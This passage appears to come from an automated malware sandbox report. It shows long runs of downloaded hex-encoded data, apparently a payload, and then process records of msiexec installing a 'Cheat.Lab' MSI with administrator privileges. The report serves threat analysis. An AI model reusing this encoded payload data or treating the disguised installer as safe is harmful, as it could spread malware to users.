,e3,149,d0,c4,b6,102,f3,dc,be,cd,f8,ca,d0,15c,100,dd,f4,e3,ba,cc,f7,d7,11d,d8,104,c2,c0,b0,bf,142,f3,e2,f2,d7,d2,b6,b7,161,eb,d2,d2,cd,ee,d6,d1,f7,d2,d8,158,100,b0,c2,f1,e6,f1,10e,11a,cf,b1,f5,df,d3,f1,db,f1,d5,c4,129,e9,f5,c8,e9,c1,d3,f1,d8,cf,e9,145,dd,
2023-11-06 14:35:16 UTC	687	IN	Data Raw: 38 35 2c 36 30 2c 64 34 2c 39 63 2c 37 34 2c 63 39 2c 38 61 2c 34 37 2c 61 39 2c 62 35 2c 35 32 2c 62 66 2c 37 37 2c 35 64 2c 64 63 2c 38 65 2c 36 31 2c 64 62 2c 39 37 2c 36 39 2c 64 37 2c 61 39 2c 34 37 2c 62 34 2c 62 39 2c 36 39 2c 64 64 2c 39 30 2c 38 36 2c 62 33 2c 37 37 2c 34 31 2c 62 31 2c 39 36 2c 37 32 2c 63 35 2c 61 37 2c 36 37 2c 62 37 2c 39 65 2c 34 38 2c 65 30 2c 38 39 2c 35 65 2c 61 32 2c 62 33 2c 37 62 2c 62 64 2c 39 37 2c 37 61 2c 63 34 2c 39 64 2c 37 36 2c 64 32 2c 37 66 2c 35 33 2c 65 34 2c 39 65 2c 37 63 2c 62 63 2c 64 62 2c 35 32 2c 61 34 2c 37 39 2c 35 30 2c 63 32 2c 61 37 2c 36 34 2c 64 35 2c 39 66 2c 35 35 2c 61 39 2c 37 64 2c 37 66 2c 62 34 2c 39 36 2c 34 30 2c 62 66 2c 62 31 2c 35 62 2c 63 32 2c 62 32 2c 36 33 2c 63 62 2c 61 62 2c Data Ascii: 85,60,d4,9c,74,c9,8a,47,a9,b5,52,bf,77,5d,dc,8e,61,db,97,69,d7,a9,47,b4,b9,69,dd,90,86,b3,77,41,b1,96,72,c5,a7,67,b7,9e,48,e0,89,5e,a2,b3,7b,bd,97,7a,c4,9d,76,d2,7f,53,e4,9e,7c,bc,db,52,a4,79,50,c2,a7,64,d5,9f,55,a9,7d,7f,b4,96,40,bf,b1,5b,c2,b2,63,cb,ab,
2023-11-06 14:35:16 UTC	703	IN	Data Raw: 2c 37 66 2c 34 38 2c 65 31 2c 61 35 2c 35 65 2c 61 32 2c 39 31 2c 37 62 2c 62 64 2c 62 37 2c 37 61 2c 63 35 2c 39 65 2c 37 36 2c 64 33 2c 37 66 2c 35 33 2c 65 35 2c 62 65 2c 37 63 2c 62 62 2c 62 61 2c 35 32 2c 61 34 2c 37 38 2c 35 30 2c 63 31 2c 61 61 2c 36 34 2c 64 36 2c 62 62 2c 35 35 2c 61 39 2c 39 66 2c 37 66 2c 62 34 2c 39 33 2c 34 30 2c 62 66 2c 61 66 2c 35 62 2c 63 32 2c 61 64 2c 36 33 2c 63 62 2c 63 63 2c 37 31 2c 61 39 2c 38 62 2c 38 33 2c 63 62 2c 64 32 2c 35 61 2c 65 37 2c 38 61 2c 34 33 2c 61 32 2c 38 34 2c 36 30 2c 64 34 2c 62 61 2c 37 34 2c 63 38 2c 38 62 2c 34 37 2c 61 61 2c 62 35 2c 35 32 2c 62 66 2c 37 36 2c 35 64 2c 64 64 2c 38 66 2c 36 31 2c 64 62 2c 39 62 2c 36 39 2c 64 38 2c 63 38 2c 34 37 2c 62 35 2c 62 62 2c 36 39 2c 64 64 2c 38 65 Data Ascii: ,7f,48,e1,a5,5e,a2,91,7b,bd,b7,7a,c5,9e,76,d3,7f,53,e5,be,7c,bb,ba,52,a4,78,50,c1,aa,64,d6,bb,55,a9,9f,7f,b4,93,40,bf,af,5b,c2,ad,63,cb,cc,71,a9,8b,83,cb,d2,5a,e7,8a,43,a2,84,60,d4,ba,74,c8,8b,47,aa,b5,52,bf,76,5d,dd,8f,61,db,9b,69,d8,c8,47,b5,bb,69,dd,8e
2023-11-06 14:35:16 UTC	719	IN	Data Raw: 66 2c 62 33 2c 35 62 2c 63 33 2c 62 30 2c 36 33 2c 63 62 2c 63 61 2c 37 31 2c 61 39 2c 38 62 2c 38 33 2c 63 61 2c 62 31 2c 35 61 2c 65 38 2c 38 37 2c 34 33 2c 61 33 2c 38 35 2c 36 30 2c 64 33 2c 39 61 2c 37 34 2c 63 39 2c 38 63 2c 34 37 2c 61 61 2c 62 34 2c 35 32 2c 63 30 2c 39 34 2c 35 64 2c 64 63 2c 39 32 2c 36 31 2c 64 63 2c 62 36 2c 36 39 2c 64 38 2c 61 37 2c 34 37 2c 62 35 2c 64 36 2c 36 39 2c 64 64 2c 39 30 2c 38 36 2c 62 33 2c 37 38 2c 34 31 2c 62 32 2c 62 34 2c 37 32 2c 63 35 2c 61 37 2c 36 37 2c 62 37 2c 37 65 2c 34 38 2c 65 31 2c 38 39 2c 35 65 2c 61 32 2c 62 31 2c 37 62 2c 62 64 2c 62 35 2c 37 61 2c 63 35 2c 62 66 2c 37 36 2c 64 33 2c 39 61 2c 35 33 2c 65 34 2c 39 66 2c 37 63 2c 62 62 2c 62 61 2c 35 32 2c 61 34 2c 37 38 2c 35 30 2c 63 31 2c 61 Data Ascii: f,b3,5b,c3,b0,63,cb,ca,71,a9,8b,83,ca,b1,5a,e8,87,43,a3,85,60,d3,9a,74,c9,8c,47,aa,b4,52,c0,94,5d,dc,92,61,dc,b6,69,d8,a7,47,b5,d6,69,dd,90,86,b3,78,41,b2,b4,72,c5,a7,67,b7,7e,48,e1,89,5e,a2,b1,7b,bd,b5,7a,c5,bf,76,d3,9a,53,e4,9f,7c,bb,ba,52,a4,78,50,c1,a
2023-11-06 14:35:16 UTC	735	IN	Data Raw: 35 39 2c 31 33 35 2c 31 32 62 2c 31 35 34 2c 31 33 64 2c 31 33 33 2c 31 35 32 2c 31 35 33 2c 31 32 36 2c 31 32 64 2c 31 34 64 2c 31 34 33 2c 31 35 36 2c 31 33 32 2c 31 36 38 2c 31 32 64 2c 31 32 33 2c 31 30 62 2c 31 31 61 2c 31 33 61 2c 31 34 63 2c 31 33 65 2c 31 34 65 2c 31 34 31 2c 31 32 65 2c 31 32 39 2c 31 32 34 2c 31 35 39 2c 31 31 63 2c 31 33 37 2c 31 31 61 2c 31 33 37 2c 31 34 35 2c 31 32 35 2c 31 33 65 2c 31 35 63 2c 31 34 33 2c 31 34 39 2c 31 34 30 2c 31 34 62 2c 31 32 33 2c 31 33 35 2c 31 36 34 2c 31 33 33 2c 31 34 64 2c 62 63 2c 62 62 2c 31 31 65 2c 62 30 2c 31 32 33 2c 62 61 2c 31 34 32 2c 65 30 2c 31 34 36 2c 65 65 2c 31 34 39 2c 64 32 2c 31 32 39 2c 62 64 2c 31 36 31 2c 63 66 2c 31 34 30 2c 66 34 2c 31 33 66 2c 66 39 2c 31 33 64 2c 64 37 2c Data Ascii: 59,135,12b,154,13d,133,152,153,126,12d,14d,143,156,132,168,12d,123,10b,11a,13a,14c,13e,14e,141,12e,129,124,159,11c,137,11a,137,145,125,13e,15c,143,149,140,14b,123,135,164,133,14d,bc,bb,11e,b0,123,ba,142,e0,146,ee,149,d2,129,bd,161,cf,140,f4,13f,f9,13d,d7,
2023-11-06 14:35:16 UTC	751	IN	Data Raw: 66 2c 63 66 2c 64 34 2c 31 30 32 2c 64 65 2c 66 61 2c 64 61 2c 64 34 2c 65 61 2c 65 31 2c 65 32 2c 65 61 2c 65 63 2c 31 30 39 2c 63 31 2c 66 36 2c 31 32 62 2c 65 37 2c 64 34 2c 66 66 2c 64 31 2c 62 64 2c 31 30 33 2c 62 66 2c 64 39 2c 66 30 2c 65 31 2c 31 33 36 2c 65 30 2c 63 33 2c 31 30 39 2c 63 31 2c 65 65 2c 31 31 34 2c 64 30 2c 62 36 2c 64 65 2c 66 61 2c 64 38 2c 64 66 2c 31 33 63 2c 64 36 2c 64 64 2c 31 32 61 2c 31 35 33 2c 31 32 39 2c 31 30 38 2c 31 36 34 2c 31 34 62 2c 31 33 36 2c 65 39 2c 66 38 2c 63 66 2c 63 32 2c 62 61 2c 63 63 2c 64 39 2c 65 66 2c 64 33 2c 31 33 36 2c 64 35 2c 63 66 2c 63 34 2c 31 30 61 2c 66 30 2c 62 66 2c 64 66 2c 62 36 2c 64 36 2c 65 39 2c 63 34 2c 31 32 33 2c 65 64 2c 64 66 2c 31 32 62 2c 65 34 2c 65 65 2c 62 31 2c 63 31 2c Data Ascii: f,cf,d4,102,de,fa,da,d4,ea,e1,e2,ea,ec,109,c1,f6,12b,e7,d4,ff,d1,bd,103,bf,d9,f0,e1,136,e0,c3,109,c1,ee,114,d0,b6,de,fa,d8,df,13c,d6,dd,12a,153,129,108,164,14b,136,e9,f8,cf,c2,ba,cc,d9,ef,d3,136,d5,cf,c4,10a,f0,bf,df,b6,d6,e9,c4,123,ed,df,12b,e4,ee,b1,c1,
2023-11-06 14:35:16 UTC	767	IN	Data Raw: 2c 31 32 39 2c 31 34 33 2c 31 33 33 2c 31 33 38 2c 31 31 38 2c 31 33 64 2c 31 34 62 2c 62 63 2c 65 62 2c 31 34 61 2c 63 34 2c 65 37 2c 31 35 30 2c 31 33 65 2c 31 31 37 2c 31 31 34 2c 31 36 33 2c 31 33 39 2c 64 64 2c 64 38 2c 31 36 36 2c 31 32 33 2c 31 31 35 2c 31 32 32 2c 31 33 30 2c 31 34 30 2c 31 33 66 2c 31 33 34 2c 31 31 31 2c 31 34 38 2c 31 31 39 2c 31 32 39 2c 31 31 35 2c 31 34 66 2c 31 31 33 2c 31 33 65 2c 31 30 34 2c 31 33 66 2c 31 35 62 2c 31 33 38 2c 31 33 39 2c 31 35 62 2c 31 33 33 2c 63 61 2c 66 34 2c 31 34 36 2c 31 32 32 2c 31 32 66 2c 31 34 38 2c 31 33 39 2c 64 62 2c 63 37 2c 31 36 30 2c 31 32 32 2c 61 32 2c 61 65 2c 31 33 30 2c 31 33 34 2c 31 35 32 2c 31 34 30 2c 31 33 36 2c 31 34 39 2c 31 31 61 2c 31 31 37 2c 61 37 2c 65 63 2c 31 32 62 2c Data Ascii: ,129,143,133,138,118,13d,14b,bc,eb,14a,c4,e7,150,13e,117,114,163,139,dd,d8,166,123,115,122,130,140,13f,134,111,148,119,129,115,14f,113,13e,104,13f,15b,138,139,15b,133,ca,f4,146,122,12f,148,139,db,c7,160,122,a2,ae,130,134,152,140,136,149,11a,117,a7,ec,12b,
2023-11-06 14:35:16 UTC	783	IN	Data Raw: 38 2c 31 35 33 2c 31 32 39 2c 31 33 35 2c 31 36 35 2c 31 34 62 2c 31 35 65 2c 31 33 63 2c 31 36 38 2c 31 33 34 2c 31 32 35 2c 31 32 33 2c 31 33 32 2c 31 34 32 2c 31 35 34 2c 31 34 36 2c 31 35 36 2c 31 34 39 2c 31 33 37 2c 31 32 39 2c 31 32 61 2c 31 36 31 2c 31 33 34 2c 31 34 30 2c 31 32 32 2c 31 33 66 2c 31 35 64 2c 31 33 64 2c 31 34 33 2c 31 35 63 2c 31 34 35 2c 31 34 62 2c 31 35 38 2c 31 35 33 2c 31 32 39 2c 31 33 35 2c 31 36 35 2c 31 34 62 2c 31 35 65 2c 31 33 63 2c 31 36 38 2c 31 33 34 2c 31 32 35 2c 31 32 33 2c 31 33 32 2c 31 34 32 2c 31 35 34 2c 31 34 36 2c 31 35 36 2c 31 34 39 2c 31 33 37 2c 31 32 39 2c 31 32 61 2c 31 36 31 2c 31 33 34 2c 31 34 30 2c 31 32 32 2c 31 33 66 2c 31 35 64 2c 31 33 64 2c 31 34 33 2c 31 35 63 2c 31 34 35 2c 31 34 62 2c 31 Data Ascii: 8,153,129,135,165,14b,15e,13c,168,134,125,123,132,142,154,146,156,149,137,129,12a,161,134,140,122,13f,15d,13d,143,15c,145,14b,158,153,129,135,165,14b,15e,13c,168,134,125,123,132,142,154,146,156,149,137,129,12a,161,134,140,122,13f,15d,13d,143,15c,145,14b,1
2023-11-06 14:35:16 UTC	799	IN	Data Raw: 33 2c 31 30 36 2c 31 33 38 2c 36 61 2c 65 37 2c 31 31 65 2c 31 33 35 2c 38 31 2c 64 66 2c 66 63 2c 31 35 65 2c 37 65 2c 31 30 30 2c 31 31 39 2c 31 34 36 2c 38 63 2c 31 31 35 2c 31 31 30 2c 31 32 61 2c 37 36 2c 31 32 32 2c 31 30 38 2c 31 35 66 2c 37 64 2c 31 32 35 2c 66 31 2c 31 32 36 2c 36 34 2c 65 66 2c 66 66 2c 31 35 35 2c 38 37 2c 31 31 33 2c 31 30 36 2c 31 33 38 2c 36 61 2c 65 37 2c 31 31 65 2c 31 33 35 2c 38 31 2c 64 66 2c 66 63 2c 31 35 65 2c 37 65 2c 31 30 30 2c 31 31 39 2c 31 34 36 2c 38 63 2c 31 31 35 2c 31 31 30 2c 31 32 61 2c 37 36 2c 31 32 32 2c 31 30 38 2c 31 35 66 2c 37 64 2c 31 32 35 2c 66 31 2c 31 32 36 2c 36 34 2c 65 66 2c 66 66 2c 31 35 35 2c 38 37 2c 31 31 33 2c 31 30 36 2c 31 33 38 2c 36 61 2c 65 37 2c 31 31 65 2c 31 33 35 2c 38 31 2c Data Ascii: 3,106,138,6a,e7,11e,135,81,df,fc,15e,7e,100,119,146,8c,115,110,12a,76,122,108,15f,7d,125,f1,126,64,ef,ff,155,87,113,106,138,6a,e7,11e,135,81,df,fc,15e,7e,100,119,146,8c,115,110,12a,76,122,108,15f,7d,125,f1,126,64,ef,ff,155,87,113,106,138,6a,e7,11e,135,81,
2023-11-06 14:35:16 UTC	815	IN	Data Raw: 65 2c 31 33 65 2c 66 36 2c 31 31 31 2c 31 34 36 2c 31 34 63 2c 31 30 62 2c 31 30 38 2c 31 32 61 2c 31 33 36 2c 31 31 38 2c 31 30 30 2c 31 35 66 2c 31 33 64 2c 31 31 62 2c 65 39 2c 31 32 36 2c 31 32 34 2c 65 35 2c 66 37 2c 31 35 35 2c 31 34 37 2c 31 30 39 2c 66 65 2c 31 33 38 2c 31 32 61 2c 64 64 2c 31 31 36 2c 31 33 35 2c 31 34 31 2c 64 35 2c 66 34 2c 31 35 65 2c 31 33 65 2c 66 36 2c 31 31 31 2c 31 34 36 2c 31 34 63 2c 31 30 62 2c 31 30 38 2c 31 32 61 2c 31 33 36 2c 31 31 38 2c 31 30 30 2c 31 35 66 2c 31 33 64 2c 31 31 62 2c 65 39 2c 31 32 36 2c 31 32 34 2c 65 35 2c 66 37 2c 31 35 35 2c 31 34 37 2c 31 30 39 2c 66 65 2c 31 33 38 2c 31 32 61 2c 64 64 2c 31 31 36 2c 31 33 35 2c 31 34 31 2c 64 35 2c 66 34 2c 31 35 65 2c 31 33 65 2c 66 36 2c 31 31 31 2c 31 34 Data Ascii: e,13e,f6,111,146,14c,10b,108,12a,136,118,100,15f,13d,11b,e9,126,124,e5,f7,155,147,109,fe,138,12a,dd,116,135,141,d5,f4,15e,13e,f6,111,146,14c,10b,108,12a,136,118,100,15f,13d,11b,e9,126,124,e5,f7,155,147,109,fe,138,12a,dd,116,135,141,d5,f4,15e,13e,f6,111,14
2023-11-06 14:35:16 UTC	823	IN	Data Raw: 31 2c 31 32 36 2c 36 34 2c 65 66 2c 66 66 2c 31 35 35 2c 31 34 36 2c 31 35 36 2c 31 34 39 2c 31 33 37 2c 31 32 39 2c 31 32 61 2c 31 36 31 2c 31 33 34 2c 31 34 30 2c 31 32 32 2c 31 33 66 2c 31 35 64 2c 31 33 64 2c 31 34 33 2c 31 35 63 2c 31 34 35 2c 31 34 62 2c 31 35 38 2c 31 35 33 2c 31 32 39 2c 31 33 35 2c 31 36 35 2c 31 34 62 2c 31 35 65 2c 31 33 63 2c 31 36 38 2c 31 33 34 2c 31 32 35 2c 31 32 33 2c 31 33 32 2c 31 34 32 2c 31 35 34 2c 31 34 36 2c 31 35 36 2c 31 34 39 2c 31 33 37 2c 31 32 39 2c 31 32 61 2c 31 36 31 2c 31 33 34 2c 31 34 30 2c 31 32 32 2c 31 33 66 2c 31 35 64 2c 31 33 64 2c 31 34 33 2c 31 35 63 2c 31 34 35 2c 31 34 62 2c 31 35 38 2c 31 35 33 2c 31 32 39 2c 31 33 35 2c 31 36 35 2c 31 34 62 2c 31 35 65 2c 31 33 63 2c 31 36 38 2c 31 33 34 2c Data Ascii: 1,126,64,ef,ff,155,146,156,149,137,129,12a,161,134,140,122,13f,15d,13d,143,15c,145,14b,158,153,129,135,165,14b,15e,13c,168,134,125,123,132,142,154,146,156,149,137,129,12a,161,134,140,122,13f,15d,13d,143,15c,145,14b,158,153,129,135,165,14b,15e,13c,168,134,
2023-11-06 14:35:16 UTC	839	IN	Data Raw: 2c 31 30 62 2c 31 30 38 2c 31 32 61 2c 31 33 36 2c 31 31 38 2c 31 30 30 2c 31 35 66 2c 31 33 64 2c 31 31 62 2c 65 39 2c 31 32 36 2c 31 32 34 2c 65 35 2c 66 37 2c 31 35 35 2c 31 34 37 2c 31 30 39 2c 66 65 2c 31 33 38 2c 31 32 61 2c 64 64 2c 31 31 36 2c 31 33 35 2c 31 34 31 2c 64 35 2c 66 34 2c 31 35 65 2c 31 33 65 2c 66 36 2c 31 31 31 2c 31 34 36 2c 31 34 63 2c 31 30 62 2c 31 30 38 2c 31 32 61 2c 31 33 36 2c 31 31 38 2c 31 30 30 2c 31 35 66 2c 31 33 64 2c 31 31 62 2c 65 39 2c 31 32 36 2c 31 32 34 2c 65 35 2c 66 37 2c 31 35 35 2c 31 34 37 2c 31 30 39 2c 66 65 2c 31 33 38 2c 31 32 61 2c 64 64 2c 31 31 36 2c 31 33 35 2c 31 34 31 2c 64 35 2c 66 34 2c 31 35 65 2c 31 33 65 2c 66 36 2c 31 31 31 2c 31 34 36 2c 31 34 63 2c 31 30 62 2c 31 30 38 2c 31 32 61 2c 31 33 Data Ascii: ,10b,108,12a,136,118,100,15f,13d,11b,e9,126,124,e5,f7,155,147,109,fe,138,12a,dd,116,135,141,d5,f4,15e,13e,f6,111,146,14c,10b,108,12a,136,118,100,15f,13d,11b,e9,126,124,e5,f7,155,147,109,fe,138,12a,dd,116,135,141,d5,f4,15e,13e,f6,111,146,14c,10b,108,12a,13
2023-11-06 14:35:16 UTC	855	IN	Data Raw: 35 2c 31 34 31 2c 64 35 2c 66 34 2c 31 35 65 2c 31 33 65 2c 66 36 2c 31 31 31 2c 31 34 36 2c 31 34 63 2c 31 30 62 2c 31 30 38 2c 31 32 61 2c 31 33 36 2c 31 31 38 2c 31 30 30 2c 31 35 66 2c 31 33 64 2c 31 31 62 2c 65 39 2c 31 32 36 2c 31 32 34 2c 65 35 2c 66 37 2c 31 35 35 2c 31 34 37 2c 31 30 39 2c 66 65 2c 31 33 38 2c 31 32 61 2c 64 64 2c 31 31 36 2c 31 33 35 2c 31 34 31 2c 64 35 2c 66 34 2c 31 35 65 2c 31 33 65 2c 66 36 2c 31 31 31 2c 31 34 36 2c 31 34 63 2c 31 30 62 2c 31 30 38 2c 31 32 61 2c 31 33 36 2c 31 31 38 2c 31 30 30 2c 31 35 66 2c 31 33 64 2c 31 31 62 2c 65 39 2c 31 32 36 2c 31 32 34 2c 65 35 2c 66 37 2c 31 35 35 2c 31 34 37 2c 31 30 39 2c 66 65 2c 31 33 38 2c 31 32 61 2c 64 64 2c 31 31 36 2c 31 33 35 2c 31 34 31 2c 64 35 2c 66 34 2c 31 35 65 Data Ascii: 5,141,d5,f4,15e,13e,f6,111,146,14c,10b,108,12a,136,118,100,15f,13d,11b,e9,126,124,e5,f7,155,147,109,fe,138,12a,dd,116,135,141,d5,f4,15e,13e,f6,111,146,14c,10b,108,12a,136,118,100,15f,13d,11b,e9,126,124,e5,f7,155,147,109,fe,138,12a,dd,116,135,141,d5,f4,15e
2023-11-06 14:35:16 UTC	871	IN	Data Raw: 31 39 2c 31 34 36 2c 38 63 2c 31 31 35 2c 31 31 30 2c 31 32 61 2c 37 36 2c 31 32 32 2c 31 30 38 2c 31 35 66 2c 37 64 2c 31 32 35 2c 66 31 2c 31 32 36 2c 36 34 2c 65 66 2c 66 66 2c 31 35 35 2c 38 37 2c 31 31 33 2c 31 30 36 2c 31 33 38 2c 36 61 2c 65 37 2c 31 31 65 2c 31 33 35 2c 38 31 2c 64 66 2c 66 63 2c 31 35 65 2c 37 65 2c 31 30 30 2c 31 31 39 2c 31 34 36 2c 38 63 2c 31 31 35 2c 31 31 30 2c 31 32 61 2c 37 36 2c 31 32 32 2c 31 30 38 2c 31 35 66 2c 37 64 2c 31 32 35 2c 66 31 2c 31 32 36 2c 36 34 2c 65 66 2c 66 66 2c 31 35 35 2c 38 37 2c 31 31 33 2c 31 30 36 2c 31 33 38 2c 36 61 2c 65 37 2c 31 31 65 2c 31 33 35 2c 38 31 2c 64 66 2c 66 63 2c 31 35 65 2c 37 65 2c 31 30 30 2c 31 31 39 2c 31 34 36 2c 38 63 2c 31 31 35 2c 31 31 30 2c 31 32 61 2c 37 36 2c 31 32 Data Ascii: 19,146,8c,115,110,12a,76,122,108,15f,7d,125,f1,126,64,ef,ff,155,87,113,106,138,6a,e7,11e,135,81,df,fc,15e,7e,100,119,146,8c,115,110,12a,76,122,108,15f,7d,125,f1,126,64,ef,ff,155,87,113,106,138,6a,e7,11e,135,81,df,fc,15e,7e,100,119,146,8c,115,110,12a,76,12
2023-11-06 14:35:16 UTC	887	IN	Data Raw: 35 64 2c 31 33 64 2c 31 34 33 2c 31 35 63 2c 31 34 35 2c 31 34 62 2c 31 35 38 2c 31 35 33 2c 31 32 39 2c 31 33 35 2c 31 36 35 2c 31 34 62 2c 31 35 65 2c 31 33 63 2c 31 36 38 2c 31 33 34 2c 31 32 35 2c 31 32 33 2c 31 33 32 2c 31 34 32 2c 31 35 34 2c 31 34 36 2c 31 35 36 2c 31 34 39 2c 31 33 37 2c 31 32 39 2c 31 32 61 2c 31 36 31 2c 31 33 34 2c 31 34 38 2c 36 36 2c 31 30 35 2c 31 35 65 2c 31 34 35 2c 38 37 2c 31 32 32 2c 31 34 36 2c 31 35 33 2c 39 63 2c 31 31 39 2c 31 32 61 2c 31 33 64 2c 61 39 2c 31 31 31 2c 31 35 66 2c 31 34 34 2c 61 63 2c 66 61 2c 31 32 36 2c 31 32 62 2c 37 36 2c 31 30 38 2c 31 35 35 2c 31 34 65 2c 39 61 2c 31 30 66 2c 31 33 38 2c 31 33 31 2c 36 65 2c 31 32 37 2c 31 33 35 2c 31 34 38 2c 36 36 2c 31 30 35 2c 31 35 65 2c 31 34 35 2c 38 37 Data Ascii: 5d,13d,143,15c,145,14b,158,153,129,135,165,14b,15e,13c,168,134,125,123,132,142,154,146,156,149,137,129,12a,161,134,148,66,105,15e,145,87,122,146,153,9c,119,12a,13d,a9,111,15f,144,ac,fa,126,12b,76,108,155,14e,9a,10f,138,131,6e,127,135,148,66,105,15e,145,87
2023-11-06 14:35:16 UTC	903	IN	Data Raw: 31 33 32 2c 31 34 32 2c 31 35 34 2c 31 34 36 2c 31 35 36 2c 31 34 39 2c 31 33 37 2c 31 32 39 2c 31 32 61 2c 31 36 31 2c 31 33 34 2c 31 34 30 2c 31 32 32 2c 31 33 66 2c 31 35 64 2c 31 33 64 2c 31 34 33 2c 31 35 63 2c 31 34 35 2c 31 34 62 2c 31 35 38 2c 31 35 33 2c 31 32 39 2c 31 33 35 2c 31 36 35 2c 31 34 62 2c 31 35 65 2c 31 33 63 2c 31 36 38 2c 31 33 34 2c 31 32 35 2c 31 32 33 2c 31 33 32 2c 31 34 32 2c 31 35 34 2c 31 34 36 2c 31 35 36 2c 31 34 39 2c 31 33 37 2c 31 32 39 2c 31 32 61 2c 31 36 31 2c 31 33 34 2c 31 34 30 2c 31 32 32 2c 31 33 66 2c 31 35 64 2c 31 33 64 2c 31 34 33 2c 31 35 63 2c 31 34 35 2c 31 34 62 2c 31 35 38 2c 31 35 33 2c 31 32 39 2c 31 33 35 2c 31 36 35 2c 31 34 62 2c 31 35 65 2c 31 33 63 2c 31 36 38 2c 31 33 34 2c 31 32 35 2c 31 32 33 Data Ascii: 132,142,154,146,156,149,137,129,12a,161,134,140,122,13f,15d,13d,143,15c,145,14b,158,153,129,135,165,14b,15e,13c,168,134,125,123,132,142,154,146,156,149,137,129,12a,161,134,140,122,13f,15d,13d,143,15c,145,14b,158,153,129,135,165,14b,15e,13c,168,134,125,123
2023-11-06 14:35:16 UTC	919	IN	Data Raw: 31 33 32 2c 31 34 32 2c 31 35 34 2c 31 34 36 2c 31 35 36 2c 31 34 39 2c 31 33 37 2c 31 32 39 2c 31 32 61 2c 31 36 31 2c 31 33 34 2c 31 34 30 2c 31 32 32 2c 31 33 66 2c 31 35 64 2c 31 33 64 2c 31 34 33 2c 31 35 63 2c 31 34 35 2c 31 34 62 2c 31 35 38 2c 31 35 33 2c 31 32 39 2c 31 33 35 2c 31 36 35 2c 31 34 62 2c 31 35 65 2c 31 33 63 2c 31 36 38 2c 31 33 34 2c 31 32 35 2c 31 32 33 2c 31 33 32 2c 31 34 32 2c 31 35 34 2c 31 34 36 2c 31 35 36 2c 31 34 39 2c 31 33 37 2c 31 32 39 2c 31 32 61 2c 31 36 31 2c 31 33 34 2c 31 34 30 2c 31 32 32 2c 31 33 66 2c 31 35 64 2c 31 33 64 2c 31 34 33 2c 31 35 63 2c 31 34 35 2c 31 34 62 2c 31 35 38 2c 31 35 33 2c 31 32 39 2c 31 33 35 2c 31 36 35 2c 31 34 62 2c 31 35 65 2c 31 33 63 2c 31 36 38 2c 31 33 34 2c 31 32 35 2c 31 32 33 Data Ascii: 132,142,154,146,156,149,137,129,12a,161,134,140,122,13f,15d,13d,143,15c,145,14b,158,153,129,135,165,14b,15e,13c,168,134,125,123,132,142,154,146,156,149,137,129,12a,161,134,140,122,13f,15d,13d,143,15c,145,14b,158,153,129,135,165,14b,15e,13c,168,134,125,123
2023-11-06 14:35:16 UTC	935	IN	Data Raw: 34 2c 64 36 2c 31 35 36 2c 64 61 2c 31 33 37 2c 62 37 2c 31 32 61 2c 31 30 30 2c 31 33 34 2c 63 63 2c 31 32 32 2c 64 36 2c 31 35 64 2c 63 65 2c 31 34 33 2c 65 65 2c 31 34 35 2c 31 32 62 2c 31 35 38 2c 31 31 30 2c 31 32 39 2c 63 36 2c 31 36 35 2c 64 62 2c 31 35 65 2c 63 33 2c 31 36 38 2c 63 32 2c 31 32 35 2c 62 61 2c 31 33 32 2c 64 62 2c 31 35 34 2c 64 65 2c 31 35 36 2c 64 35 2c 31 33 37 2c 31 30 39 2c 31 32 61 2c 62 38 2c 31 33 34 2c 31 32 30 2c 31 32 32 2c 31 31 66 2c 31 35 64 2c 31 30 62 2c 31 34 33 2c 31 32 63 2c 31 34 35 2c 31 31 39 2c 31 35 38 2c 31 32 32 2c 31 32 39 2c 31 33 35 2c 31 36 35 2c 31 34 62 2c 31 35 65 2c 31 31 32 2c 31 36 38 2c 31 33 33 2c 31 32 35 2c 31 32 32 2c 31 33 32 2c 66 36 2c 31 35 34 2c 65 31 2c 31 35 36 2c 65 32 2c 31 33 37 2c Data Ascii: 4,d6,156,da,137,b7,12a,100,134,cc,122,d6,15d,ce,143,ee,145,12b,158,110,129,c6,165,db,15e,c3,168,c2,125,ba,132,db,154,de,156,d5,137,109,12a,b8,134,120,122,11f,15d,10b,143,12c,145,119,158,122,129,135,165,14b,15e,112,168,133,125,122,132,f6,154,e1,156,e2,137,
2023-11-06 14:35:16 UTC	951	IN	Data Raw: 61 2c 36 64 2c 34 62 2c 37 37 2c 34 33 2c 33 34 2c 33 32 2c 34 31 2c 35 31 2c 36 33 2c 35 35 2c 36 35 2c 35 38 2c 34 36 2c 33 38 2c 33 39 2c 37 30 2c 34 33 2c 34 66 2c 33 31 2c 34 65 2c 36 63 2c 34 63 2c 35 32 2c 36 62 2c 35 34 2c 35 61 2c 36 37 2c 36 32 2c 33 38 2c 34 34 2c 37 34 2c 35 61 2c 36 64 2c 34 62 2c 37 37 2c 34 33 2c 33 34 2c 33 32 2c 34 31 2c 35 31 2c 36 33 2c 35 35 2c 36 35 2c 35 38 2c 34 36 2c 38 33 2c 37 65 2c 63 32 2c 39 31 2c 39 34 2c 37 64 2c 38 31 2c 39 65 2c 37 61 2c 62 36 2c 64 37 2c 63 30 2c 35 61 2c 65 35 2c 36 35 2c 38 66 2c 61 35 2c 64 64 2c 63 65 2c 62 33 2c 62 61 2c 65 39 2c 39 36 2c 39 64 2c 61 30 2c 61 38 2c 62 64 2c 63 38 2c 61 34 2c 63 37 2c 63 32 2c 61 62 2c 39 62 2c 61 64 2c 37 30 2c 38 35 2c 35 32 2c 38 34 2c 62 61 2c 64 Data Ascii: a,6d,4b,77,43,34,32,41,51,63,55,65,58,46,38,39,70,43,4f,31,4e,6c,4c,52,6b,54,5a,67,62,38,44,74,5a,6d,4b,77,43,34,32,41,51,63,55,65,58,46,83,7e,c2,91,94,7d,81,9e,7a,b6,d7,c0,5a,e5,65,8f,a5,dd,ce,b3,ba,e9,96,9d,a0,a8,bd,c8,a4,c7,c2,ab,9b,ad,70,85,52,84,ba,d

Target ID:	0
Start time:	15:34:57
Start date:	06/11/2023
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\Cheat.Lab.2.7.2.msi"
Imagebase:	0x7ff60c680000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:34:57
Start date:	06/11/2023
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\msiexec.exe /V
Imagebase:	0x7ff60c680000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	true
Has administrator privileges:	true
